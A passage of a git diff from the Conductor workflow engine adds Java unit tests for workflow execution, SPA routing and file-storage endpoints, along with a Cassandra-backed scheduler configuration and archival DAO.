when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + + // When + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + "req123", + null, + 10, + "DURABLE", + WorkflowSignalReturnStrategy.TARGET_WORKFLOW, + request); + + // Then + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + // Verify that _systemMetadata.dynamic was set + assertTrue(input.containsKey("_systemMetadata")); + Map systemMetadata = + (Map) input.get("_systemMetadata"); + assertEquals(true, systemMetadata.get("dynamic")); + }) + .verifyComplete(); + } + + @Test + public void testExecuteWorkflow_WaitForSecondsDefault() { + // Given + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + + String workflowId = "workflow123"; + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.COMPLETED); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + WorkflowModel workflowModel = toWorkflowModel(workflow); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + + // When - waitForSeconds is 0, should default to 10 + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + "req123", + null, + 0, // Should default to 10 + "DURABLE", + WorkflowSignalReturnStrategy.TARGET_WORKFLOW, + request); + + // Then + StepVerifier.create(result) + .assertNext(response -> assertNotNull(response)) + .verifyComplete(); + } + + @Test + public void testExecuteWorkflow_SubWorkflowWithTerminalTask() { + // Given - Test sub-workflow with terminal SUB_WORKFLOW task (should not recurse) + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + + String workflowId = "workflow123"; + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.RUNNING); + + Task subWorkflowTask = + createTask( + "subWorkflow1", + TaskType.TASK_TYPE_SUB_WORKFLOW, + Task.Status.COMPLETED); // Terminal + subWorkflowTask.setSubWorkflowId("subWorkflow456"); + workflow.getTasks().add(subWorkflowTask); + + Task completedTask = createTask("task1", "SIMPLE", Task.Status.COMPLETED); + workflow.getTasks().add(completedTask); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + WorkflowModel workflowModel = toWorkflowModel(workflow); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + + // When - wait for task1 + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + "req123", + "task1", + 10, + "DURABLE", + WorkflowSignalReturnStrategy.TARGET_WORKFLOW, + request); + + // Then - should not try to fetch sub-workflow since SUB_WORKFLOW task is terminal + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + assertTrue(response instanceof WorkflowRun); + }) + .verifyComplete(); + + // Verify sub-workflow was NOT fetched (only main workflow) + verify(mockWorkflowService, times(0)).getWorkflowModel(eq("subWorkflow456"), eq(true)); + } + + @Test + public void testExecuteWorkflow_SubWorkflowWithNullSubWorkflowId() { + // Given - SUB_WORKFLOW task with null subWorkflowId + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + + String workflowId = "workflow123"; + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.RUNNING); + + Task subWorkflowTask = + createTask( + "subWorkflow1", TaskType.TASK_TYPE_SUB_WORKFLOW, Task.Status.IN_PROGRESS); + subWorkflowTask.setSubWorkflowId(null); // Null subWorkflowId + workflow.getTasks().add(subWorkflowTask); + + Task completedTask = createTask("task1", "SIMPLE", Task.Status.COMPLETED); + workflow.getTasks().add(completedTask); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + WorkflowModel workflowModel = toWorkflowModel(workflow); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + + // When + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + "req123", + "task1", + 10, + "DURABLE", + WorkflowSignalReturnStrategy.TARGET_WORKFLOW, + request); + + // Then - should complete without trying to fetch null sub-workflow + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + assertTrue(response instanceof WorkflowRun); + }) + .verifyComplete(); + } + + @Test + public void testExecuteWorkflow_SubWorkflowFetchException() { + // Given - SUB_WORKFLOW task where fetching sub-workflow throws exception + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + + String workflowId = "workflow123"; + String subWorkflowId = "subWorkflow456"; + + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.RUNNING); + + Task subWorkflowTask = + createTask( + "subWorkflow1", TaskType.TASK_TYPE_SUB_WORKFLOW, Task.Status.IN_PROGRESS); + subWorkflowTask.setSubWorkflowId(subWorkflowId); + workflow.getTasks().add(subWorkflowTask); + + Task completedTask = createTask("task1", "SIMPLE", Task.Status.COMPLETED); + workflow.getTasks().add(completedTask); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + WorkflowModel workflowModel = toWorkflowModel(workflow); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + when(mockWorkflowService.getWorkflowModel(eq(subWorkflowId), eq(true))) + .thenThrow(new RuntimeException("Sub-workflow not found")); + + // When + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + "req123", + "task1", + 10, + "DURABLE", + WorkflowSignalReturnStrategy.TARGET_WORKFLOW, + request); + + // Then - should complete gracefully, ignoring the sub-workflow exception + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + assertTrue(response instanceof WorkflowRun); + }) + .verifyComplete(); + } + + @Test + public void testExecuteWorkflow_WithTaskRefWhitespace() { + // Given - taskRefs with whitespace + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + + String workflowId = "workflow123"; + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.RUNNING); + + Task completedTask = createTask("task1", "SIMPLE", Task.Status.COMPLETED); + workflow.getTasks().add(completedTask); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + WorkflowModel workflowModel = toWorkflowModel(workflow); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + + // When - taskRefs with spaces around them + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + "req123", + " task1 , task2 ", // With whitespace + 10, + "DURABLE", + WorkflowSignalReturnStrategy.BLOCKING_TASK, + request); + + // Then - should trim and match correctly + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + assertTrue(response instanceof TaskRun); + TaskRun taskRun = (TaskRun) response; + assertEquals("task1", taskRun.getReferenceTaskName()); + }) + .verifyComplete(); + } + + @Test + public void testExecuteWorkflow_DynamicWorkflowWithExistingSystemMetadata() { + // Given - Dynamic workflow with existing system metadata + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + Map input = new HashMap<>(); + Map existingSystemMetadata = new HashMap<>(); + existingSystemMetadata.put("existingKey", "existingValue"); + input.put("_systemMetadata", existingSystemMetadata); + request.setInput(input); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("dynamicWorkflow"); + workflowDef.setTasks( + List.of(new com.netflix.conductor.common.metadata.workflow.WorkflowTask())); + request.setWorkflowDef(workflowDef); + + String workflowId = "workflow123"; + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.COMPLETED); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + WorkflowModel workflowModel = toWorkflowModel(workflow); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + + // When + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + "req123", + null, + 10, + "DURABLE", + WorkflowSignalReturnStrategy.TARGET_WORKFLOW, + request); + + // Then + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + // Verify that existing metadata is preserved and dynamic flag is added + Map systemMetadata = + (Map) input.get("_systemMetadata"); + assertEquals("existingValue", systemMetadata.get("existingKey")); + assertEquals(true, systemMetadata.get("dynamic")); + }) + .verifyComplete(); + } + + @Test + public void testExecuteWorkflow_NestedSubWorkflows() { + // Given - Nested sub-workflows (sub-workflow containing another sub-workflow) + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("testWorkflow"); + + String workflowId = "workflow123"; + String subWorkflowId1 = "subWorkflow456"; + String subWorkflowId2 = "subWorkflow789"; + + Workflow workflow = createWorkflow(workflowId, Workflow.WorkflowStatus.RUNNING); + Workflow subWorkflow1 = createWorkflow(subWorkflowId1, Workflow.WorkflowStatus.RUNNING); + Workflow subWorkflow2 = createWorkflow(subWorkflowId2, Workflow.WorkflowStatus.RUNNING); + + // Main workflow has sub-workflow task + Task subWorkflowTask1 = + createTask( + "subWorkflow1", TaskType.TASK_TYPE_SUB_WORKFLOW, Task.Status.IN_PROGRESS); + subWorkflowTask1.setSubWorkflowId(subWorkflowId1); + workflow.getTasks().add(subWorkflowTask1); + + // Sub-workflow 1 has another sub-workflow task + Task subWorkflowTask2 = + createTask( + "subWorkflow2", TaskType.TASK_TYPE_SUB_WORKFLOW, Task.Status.IN_PROGRESS); + subWorkflowTask2.setSubWorkflowId(subWorkflowId2); + subWorkflow1.getTasks().add(subWorkflowTask2); + + // Sub-workflow 2 has WAIT task + Task waitTaskInNestedSub = + createTask("waitInNestedSub", TaskType.TASK_TYPE_WAIT, Task.Status.IN_PROGRESS); + subWorkflow2.getTasks().add(waitTaskInNestedSub); + + when(mockWorkflowService.startWorkflow(any(StartWorkflowRequest.class))) + .thenReturn(workflowId); + WorkflowModel workflowModel = toWorkflowModel(workflow); + when(mockWorkflowService.getWorkflowModel(eq(workflowId), eq(true))) + .thenReturn(workflowModel); + WorkflowModel subWorkflowModel1 = toWorkflowModel(subWorkflow1); + when(mockWorkflowService.getWorkflowModel(eq(subWorkflowId1), eq(true))) + .thenReturn(subWorkflowModel1); + WorkflowModel subWorkflowModel2 = toWorkflowModel(subWorkflow2); + when(mockWorkflowService.getWorkflowModel(eq(subWorkflowId2), eq(true))) + .thenReturn(subWorkflowModel2); + + // When + Mono result = + workflowResource.executeWorkflow( + "testWorkflow", + 1, + "req123", + null, + 10, + "DURABLE", + WorkflowSignalReturnStrategy.BLOCKING_WORKFLOW, + request); + + // Then - should find the WAIT task in the nested sub-workflow + StepVerifier.create(result) + .assertNext( + response -> { + assertNotNull(response); + assertTrue(response instanceof WorkflowRun); + WorkflowRun workflowRun = (WorkflowRun) response; + // Should return the innermost sub-workflow as blocking workflow + assertEquals(subWorkflowId2, workflowRun.getWorkflowId()); + assertEquals(workflowId, workflowRun.getTargetWorkflowId()); + }) + .verifyComplete(); + + // Verify all sub-workflows were fetched (called in both filter and map) + verify(mockWorkflowService, times(2)).getWorkflowModel(eq(subWorkflowId1), eq(true)); + verify(mockWorkflowService, times(2)).getWorkflowModel(eq(subWorkflowId2), eq(true)); + } + + // Helper methods + private Workflow createWorkflow(String workflowId, Workflow.WorkflowStatus status) { + Workflow workflow = new Workflow(); + workflow.setWorkflowId(workflowId); + workflow.setStatus(status); + workflow.setCorrelationId("corr123"); + workflow.setInput(new HashMap<>()); + workflow.setOutput(new HashMap<>()); + workflow.setTasks(new ArrayList<>()); + workflow.setCreatedBy("testUser"); + workflow.setCreateTime(System.currentTimeMillis()); + workflow.setUpdateTime(System.currentTimeMillis()); + workflow.setPriority(0); + workflow.setVariables(new HashMap<>()); + return workflow; + } + + private WorkflowModel toWorkflowModel(Workflow workflow) { + WorkflowModel model = new WorkflowModel(); + model.setWorkflowId(workflow.getWorkflowId()); + model.setStatus(WorkflowModel.Status.valueOf(workflow.getStatus().name())); + model.setCorrelationId(workflow.getCorrelationId()); + model.setInput(workflow.getInput()); + model.setOutput(workflow.getOutput()); + model.setCreatedBy(workflow.getCreatedBy()); + model.setCreateTime(workflow.getCreateTime()); + model.setUpdatedTime(workflow.getUpdateTime()); + model.setPriority(workflow.getPriority()); + model.setVariables(workflow.getVariables()); + + // Convert tasks to TaskModels + List taskModels = new ArrayList<>(); + for (Task task : workflow.getTasks()) { + taskModels.add(toTaskModel(task)); + } + model.setTasks(taskModels); + + return model; + } + + private TaskModel toTaskModel(Task task) { + TaskModel model = new TaskModel(); + model.setTaskId(task.getTaskId()); + model.setReferenceTaskName(task.getReferenceTaskName()); + model.setTaskType(task.getTaskType()); + model.setStatus(TaskModel.Status.valueOf(task.getStatus().name())); + model.setWorkflowInstanceId(task.getWorkflowInstanceId()); + model.setCorrelationId(task.getCorrelationId()); + model.setInputData(task.getInputData()); + model.setOutputData(task.getOutputData()); + model.setTaskDefName(task.getTaskDefName()); + model.setWorkflowType(task.getWorkflowType()); + model.setWorkerId(task.getWorkerId()); + model.setStartTime(task.getStartTime()); + model.setUpdateTime(task.getUpdateTime()); + model.setSubWorkflowId(task.getSubWorkflowId()); + return model; + } + + private Task createTask(String referenceTaskName, String taskType, Task.Status status) { + Task task = new Task(); + task.setTaskId("task-" + referenceTaskName); + task.setReferenceTaskName(referenceTaskName); + task.setTaskType(taskType); + task.setStatus(status); + task.setWorkflowInstanceId("workflow123"); + task.setCorrelationId("corr123"); + task.setInputData(new HashMap<>()); + task.setOutputData(new HashMap<>()); + task.setTaskDefName(taskType); + task.setWorkflowType("testWorkflow"); + task.setWorkerId("worker1"); + task.setStartTime(System.currentTimeMillis()); + task.setUpdateTime(System.currentTimeMillis()); + return task; + } +} diff --git a/rest/src/test/java/org/conductoross/conductor/SpaInterceptorTest.java b/rest/src/test/java/org/conductoross/conductor/SpaInterceptorTest.java new file mode 100644 index 0000000..1aec706 --- /dev/null +++ b/rest/src/test/java/org/conductoross/conductor/SpaInterceptorTest.java @@ -0,0 +1,47 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor; + +import org.junit.Test; +import org.springframework.mock.web.MockHttpServletRequest; +import org.springframework.mock.web.MockHttpServletResponse; +import org.springframework.mock.web.MockServletContext; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +public class SpaInterceptorTest { + + private final SpaInterceptor spaInterceptor = new SpaInterceptor(); + + @Test + public void testAllowsSwaggerConfigUnderApiDocs() throws Exception { + MockHttpServletRequest request = + new MockHttpServletRequest( + new MockServletContext(), "GET", "/api-docs/swagger-config"); + MockHttpServletResponse response = new MockHttpServletResponse(); + + assertTrue(spaInterceptor.preHandle(request, response, new Object())); + } + + @Test + public void testForwardsSpaRoutesToIndexHtml() throws Exception { + MockHttpServletRequest request = + new MockHttpServletRequest(new MockServletContext(), "GET", "/workflows"); + MockHttpServletResponse response = new MockHttpServletResponse(); + + assertFalse(spaInterceptor.preHandle(request, response, new Object())); + assertEquals("/index.html", response.getForwardedUrl()); + } +} diff --git a/rest/src/test/java/org/conductoross/conductor/rest/controllers/FileResourceTest.java b/rest/src/test/java/org/conductoross/conductor/rest/controllers/FileResourceTest.java new file mode 100644 index 0000000..fb00b2c --- /dev/null +++ b/rest/src/test/java/org/conductoross/conductor/rest/controllers/FileResourceTest.java @@ -0,0 +1,129 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.rest.controllers; + +import java.util.List; + +import org.conductoross.conductor.controllers.FileResource; +import org.conductoross.conductor.core.storage.FileStorageService; +import org.conductoross.conductor.model.file.*; +import org.junit.Before; +import org.junit.Test; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +public class FileResourceTest { + + private static final String FILE_ID = "abc"; + private static final String FILE_HANDLE_ID = FileIdToFileHandleIdConverter.PREFIX + FILE_ID; + + private FileStorageService fileStorageService; + private FileResource fileResource; + + @Before + public void setUp() { + fileStorageService = mock(FileStorageService.class); + fileResource = new FileResource(fileStorageService); + } + + @Test + public void testCreateFile() { + FileUploadRequest request = new FileUploadRequest(); + request.setFileName("test.pdf"); + FileUploadResponse expected = new FileUploadResponse(); + expected.setFileHandleId(FILE_HANDLE_ID); + when(fileStorageService.createFile(request)).thenReturn(expected); + + FileUploadResponse result = fileResource.createFile(request); + assertEquals(FILE_HANDLE_ID, result.getFileHandleId()); + verify(fileStorageService).createFile(request); + } + + @Test + public void testGetUploadUrl() { + FileUploadUrlResponse expected = new FileUploadUrlResponse(); + expected.setFileHandleId(FILE_HANDLE_ID); + expected.setUploadUrl("https://s3/url"); + when(fileStorageService.getUploadUrl(FILE_ID)).thenReturn(expected); + + FileUploadUrlResponse result = fileResource.getUploadUrl(FILE_ID); + assertEquals("https://s3/url", result.getUploadUrl()); + } + + @Test + public void testConfirmUpload() { + FileUploadCompleteResponse expected = new FileUploadCompleteResponse(); + expected.setUploadStatus(FileUploadStatus.UPLOADED); + when(fileStorageService.confirmUpload(FILE_ID)).thenReturn(expected); + + FileUploadCompleteResponse result = fileResource.confirmUpload(FILE_ID); + assertEquals(FileUploadStatus.UPLOADED, result.getUploadStatus()); + } + + @Test + public void testGetDownloadUrl() { + FileDownloadUrlResponse expected = new FileDownloadUrlResponse(); + expected.setDownloadUrl("https://s3/download"); + when(fileStorageService.getDownloadUrl(FILE_ID, "wf-1")).thenReturn(expected); + + FileDownloadUrlResponse result = fileResource.getDownloadUrl("wf-1", FILE_ID); + assertEquals("https://s3/download", result.getDownloadUrl()); + } + + @Test + public void testGetFileMetadata() { + FileHandle expected = new FileHandle(); + expected.setFileHandleId(FILE_HANDLE_ID); + expected.setFileName("test.pdf"); + when(fileStorageService.getFileMetadata(FILE_ID)).thenReturn(expected); + + FileHandle result = fileResource.getFileMetadata(FILE_ID); + assertEquals("test.pdf", result.getFileName()); + } + + @Test + public void testInitiateMultipartUpload() { + MultipartInitResponse expected = new MultipartInitResponse(); + expected.setUploadId("mp-123"); + when(fileStorageService.initiateMultipartUpload(FILE_ID)).thenReturn(expected); + + MultipartInitResponse result = fileResource.initiateMultipartUpload(FILE_ID); + assertEquals("mp-123", result.getUploadId()); + } + + @Test + public void testGetPartUploadUrl() { + FileUploadUrlResponse expected = new FileUploadUrlResponse(); + expected.setUploadUrl("https://s3/part/1"); + when(fileStorageService.getPartUploadUrl(FILE_ID, "mp-123", 1)).thenReturn(expected); + + FileUploadUrlResponse result = fileResource.getPartUploadUrl(FILE_ID, "mp-123", 1); + assertEquals("https://s3/part/1", result.getUploadUrl()); + } + + @Test + public void testCompleteMultipartUpload() { + MultipartCompleteRequest request = new MultipartCompleteRequest(); + request.setPartETags(List.of("etag1", "etag2")); + FileUploadCompleteResponse expected = new FileUploadCompleteResponse(); + expected.setUploadStatus(FileUploadStatus.UPLOADED); + when(fileStorageService.completeMultipartUpload( + FILE_ID, "mp-123", List.of("etag1", "etag2"))) + .thenReturn(expected); + + FileUploadCompleteResponse result = + fileResource.completeMultipartUpload(FILE_ID, "mp-123", request); + assertEquals(FileUploadStatus.UPLOADED, result.getUploadStatus()); + } +} diff --git a/scheduler/cassandra-persistence/build.gradle b/scheduler/cassandra-persistence/build.gradle new file mode 100644 index 0000000..9ed5565 --- /dev/null +++ b/scheduler/cassandra-persistence/build.gradle @@ -0,0 +1,23 @@ +dependencies { + implementation project(':conductor-scheduler-core') + implementation project(':conductor-common') + implementation project(':conductor-core') + implementation project(':conductor-cassandra-persistence') + + compileOnly 'org.springframework.boot:spring-boot-starter' + + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + implementation "com.datastax.cassandra:cassandra-driver-core:${revCassandra}" + + testImplementation 'org.springframework.boot:spring-boot-starter' + testImplementation 'org.springframework.boot:spring-boot-starter-test' + testImplementation "org.testcontainers:testcontainers:${revTestContainer}" + testImplementation "org.testcontainers:cassandra:${revTestContainer}" + testImplementation testFixtures(project(':conductor-scheduler-core')) +} + +test { + maxParallelForks = 1 + environment 'DOCKER_API_VERSION', '1.44' +} diff --git a/scheduler/cassandra-persistence/src/main/java/org/conductoross/conductor/scheduler/cassandra/config/CassandraSchedulerConfiguration.java b/scheduler/cassandra-persistence/src/main/java/org/conductoross/conductor/scheduler/cassandra/config/CassandraSchedulerConfiguration.java new file mode 100644 index 0000000..4b15b45 --- /dev/null +++ b/scheduler/cassandra-persistence/src/main/java/org/conductoross/conductor/scheduler/cassandra/config/CassandraSchedulerConfiguration.java @@ -0,0 +1,51 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.cassandra.config; + +import org.conductoross.conductor.scheduler.cassandra.dao.CassandraSchedulerArchivalDAO; +import org.conductoross.conductor.scheduler.cassandra.dao.CassandraSchedulerDAO; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.cassandra.config.CassandraProperties; + +import com.datastax.driver.core.Session; +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; + +@Configuration(proxyBeanMethods = false) +@ConditionalOnProperty(name = "conductor.db.type", havingValue = "cassandra") +public class CassandraSchedulerConfiguration { + + @Bean + @ConditionalOnProperty( + name = "conductor.scheduler.enabled", + havingValue = "true", + matchIfMissing = false) + public SchedulerDAO cassandraSchedulerDAO( + Session session, ObjectMapper objectMapper, CassandraProperties properties) { + return new CassandraSchedulerDAO(session, objectMapper, properties); + } + + @Bean + @ConditionalOnProperty( + name = "conductor.scheduler.enabled", + havingValue = "true", + matchIfMissing = false) + public SchedulerArchivalDAO cassandraSchedulerArchivalDAO( + Session session, ObjectMapper objectMapper, CassandraProperties properties) { + return new CassandraSchedulerArchivalDAO(session, objectMapper, properties); + } +} diff --git a/scheduler/cassandra-persistence/src/main/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerArchivalDAO.java b/scheduler/cassandra-persistence/src/main/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerArchivalDAO.java new file mode 100644 index 0000000..f06ba21 --- /dev/null +++ b/scheduler/cassandra-persistence/src/main/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerArchivalDAO.java @@ -0,0 +1,443 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.cassandra.dao; + +import java.util.*; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.cassandra.config.CassandraProperties; +import com.netflix.conductor.cassandra.dao.CassandraBaseDAO; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.metrics.Monitors; + +import com.datastax.driver.core.*; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.archive.SchedulerSearchQuery; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; + +/** + * Cassandra implementation of {@link SchedulerArchivalDAO}. + * + *

    Extends {@link CassandraBaseDAO} for session/properties management. Archival execution records + * are stored in {@code scheduler_archival_executions} with schedule_name as the partition key and + * scheduled_time as a clustering column for efficient per-schedule queries sorted by time. A + * secondary lookup table {@code scheduler_archival_by_id} supports fetches by execution_id. + */ +public class CassandraSchedulerArchivalDAO extends CassandraBaseDAO + implements SchedulerArchivalDAO { + + private static final Logger log = LoggerFactory.getLogger(CassandraSchedulerArchivalDAO.class); + private static final String DAO_NAME = "cassandra"; + + private static final String TABLE_ARCHIVAL = "scheduler_archival_executions"; + private static final String TABLE_ARCHIVAL_BY_ID = "scheduler_archival_by_id"; + + // Max rows per UNLOGGED batch during cleanup. Each row produces 2 mutations + // (archival + by_id), so 100 rows = 200 mutations — well within Cassandra's + // default batch_size_warn_threshold_in_kb (128 KB). + private static final int CLEANUP_BATCH_CHUNK_SIZE = 100; + + // Safety cap on full-table scan in the free-text search fallback path + private static final int FREE_TEXT_SCAN_LIMIT = 10_000; + + // objectMapper is private in CassandraBaseDAO; keep a local reference for serialization + private final ObjectMapper objectMapper; + + private PreparedStatement upsertArchivalStmt; + private PreparedStatement upsertByIdStmt; + private PreparedStatement selectByIdStmt; + private PreparedStatement selectByScheduleStmt; + private PreparedStatement deleteByScheduleAndTimeStmt; + private PreparedStatement deleteByIdStmt; + private PreparedStatement countByScheduleStmt; + + public CassandraSchedulerArchivalDAO( + Session session, ObjectMapper objectMapper, CassandraProperties properties) { + super(session, objectMapper, properties); + this.objectMapper = objectMapper; + ensureTables(); + prepareStatements(); + } + + private void ensureTables() { + // Primary table: partitioned by schedule_name, clustered by scheduled_time DESC + session.execute( + "CREATE TABLE IF NOT EXISTS " + + properties.getKeyspace() + + "." + + TABLE_ARCHIVAL + + " (" + + "schedule_name text," + + "scheduled_time bigint," + + "execution_id text," + + "workflow_name text," + + "workflow_id text," + + "reason text," + + "stack_trace text," + + "state text," + + "execution_time bigint," + + "start_workflow_request text," + + "PRIMARY KEY ((schedule_name), scheduled_time, execution_id)" + + ") WITH CLUSTERING ORDER BY (scheduled_time DESC, execution_id ASC)"); + + // Lookup table for getExecutionById + session.execute( + "CREATE TABLE IF NOT EXISTS " + + properties.getKeyspace() + + "." + + TABLE_ARCHIVAL_BY_ID + + " (" + + "execution_id text PRIMARY KEY," + + "schedule_name text," + + "workflow_name text," + + "workflow_id text," + + "reason text," + + "stack_trace text," + + "state text," + + "scheduled_time bigint," + + "execution_time bigint," + + "start_workflow_request text" + + ")"); + } + + private void prepareStatements() { + upsertArchivalStmt = + session.prepare( + "INSERT INTO " + + properties.getKeyspace() + + "." + + TABLE_ARCHIVAL + + " (schedule_name, scheduled_time, execution_id, workflow_name, workflow_id," + + " reason, stack_trace, state, execution_time, start_workflow_request)" + + " VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"); + upsertByIdStmt = + session.prepare( + "INSERT INTO " + + properties.getKeyspace() + + "." + + TABLE_ARCHIVAL_BY_ID + + " (execution_id, schedule_name, workflow_name, workflow_id," + + " reason, stack_trace, state, scheduled_time, execution_time, start_workflow_request)" + + " VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"); + selectByIdStmt = + session.prepare( + "SELECT * FROM " + + properties.getKeyspace() + + "." + + TABLE_ARCHIVAL_BY_ID + + " WHERE execution_id = ?"); + selectByScheduleStmt = + session.prepare( + "SELECT * FROM " + + properties.getKeyspace() + + "." + + TABLE_ARCHIVAL + + " WHERE schedule_name = ?"); + deleteByScheduleAndTimeStmt = + session.prepare( + "DELETE FROM " + + properties.getKeyspace() + + "." + + TABLE_ARCHIVAL + + " WHERE schedule_name = ? AND scheduled_time = ? AND execution_id = ?"); + deleteByIdStmt = + session.prepare( + "DELETE FROM " + + properties.getKeyspace() + + "." + + TABLE_ARCHIVAL_BY_ID + + " WHERE execution_id = ?"); + countByScheduleStmt = + session.prepare( + "SELECT COUNT(*) FROM " + + properties.getKeyspace() + + "." + + TABLE_ARCHIVAL + + " WHERE schedule_name = ?"); + } + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel model) { + Monitors.recordDaoRequests(DAO_NAME, "saveArchivalRecord", "n/a", "n/a"); + String swrJson = serializeStartWorkflowRequest(model.getStartWorkflowRequest()); + String stateStr = model.getState() != null ? model.getState().name() : null; + long scheduledTime = model.getScheduledTime() != null ? model.getScheduledTime() : 0L; + long executionTime = model.getExecutionTime() != null ? model.getExecutionTime() : 0L; + + // Write to both tables + BatchStatement batch = new BatchStatement(BatchStatement.Type.LOGGED); + batch.add( + upsertArchivalStmt.bind( + model.getScheduleName(), + scheduledTime, + model.getExecutionId(), + model.getWorkflowName(), + model.getWorkflowId(), + model.getReason(), + model.getStackTrace(), + stateStr, + executionTime, + swrJson)); + batch.add( + upsertByIdStmt.bind( + model.getExecutionId(), + model.getScheduleName(), + model.getWorkflowName(), + model.getWorkflowId(), + model.getReason(), + model.getStackTrace(), + stateStr, + scheduledTime, + executionTime, + swrJson)); + session.execute(batch); + } + + @Override + public SearchResult searchScheduledExecutions( + String query, String 